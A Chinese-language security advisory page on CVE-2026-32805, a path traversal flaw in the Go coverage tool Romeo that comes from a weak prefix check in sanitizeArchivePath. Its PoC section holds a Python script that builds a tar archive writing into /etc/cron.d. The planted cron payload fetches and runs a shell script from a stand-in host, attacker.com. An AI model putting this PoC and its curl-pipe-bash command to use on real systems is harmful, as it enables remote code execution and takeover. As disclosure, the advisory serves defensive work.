IPBUF安全漏洞报告
English
CVE-2026-32805 CVSS 7.5 高危

CVE-2026-32805 Romeo路径遍历漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-32805
漏洞类型
路径遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Romeo

相关标签

路径遍历Romeo代码覆盖率工具GitHub Actions文件上传漏洞

漏洞概述

Romeo是用于Go ≥1.20应用代码覆盖率测量的工具,在0.2.2之前版本中存在路径遍历漏洞。攻击者可通过恶意构造的tar归档文件,利用sanitizeArchivePath函数的缺陷,绕过路径安全检查,将文件写入目标目录之外的位置。该漏洞无需认证即可远程利用,可导致敏感文件覆写或远程代码执行风险。

技术细节

漏洞源于webserver/api/v1/decoder.go的sanitizeArchivePath函数(80-88行)。该函数使用strings.HasPrefix进行路径检查,但缺少尾部路径分隔符验证。攻击者可构造包含../的tar文件名,如../../../etc/cron.d/malicious,实现目录遍历。CVSS评分7.5,网络可达,无需认证即可利用。

攻击链分析

STEP 1
1
攻击者创建包含路径遍历文件的恶意tar归档
STEP 2
2
通过GitHub Actions上传恶意归档到Romeo服务
STEP 3
3
sanitizeArchivePath函数未能正确验证路径,导致文件写入目标目录外

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import tarfile import os # 构造恶意tar文件 with tarfile.open('malicious.tar', 'w') as tar: # 创建包含路径遍历的文件 info = tarfile.TarInfo(name='../../../etc/cron.d/malicious') info.size = len(b'#!/bin/bash\ncurl http://attacker.com/shell.sh | bash') import io tar.addfile(info, io.BytesIO(b'#!/bin/bash\ncurl http://attacker.com/shell.sh | bash'))

影响范围

Romeo < 0.2.2

防御指南

临时缓解措施
在修复版本发布前,可通过限制上传文件类型、禁用tar归档处理或使用沙箱环境来降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表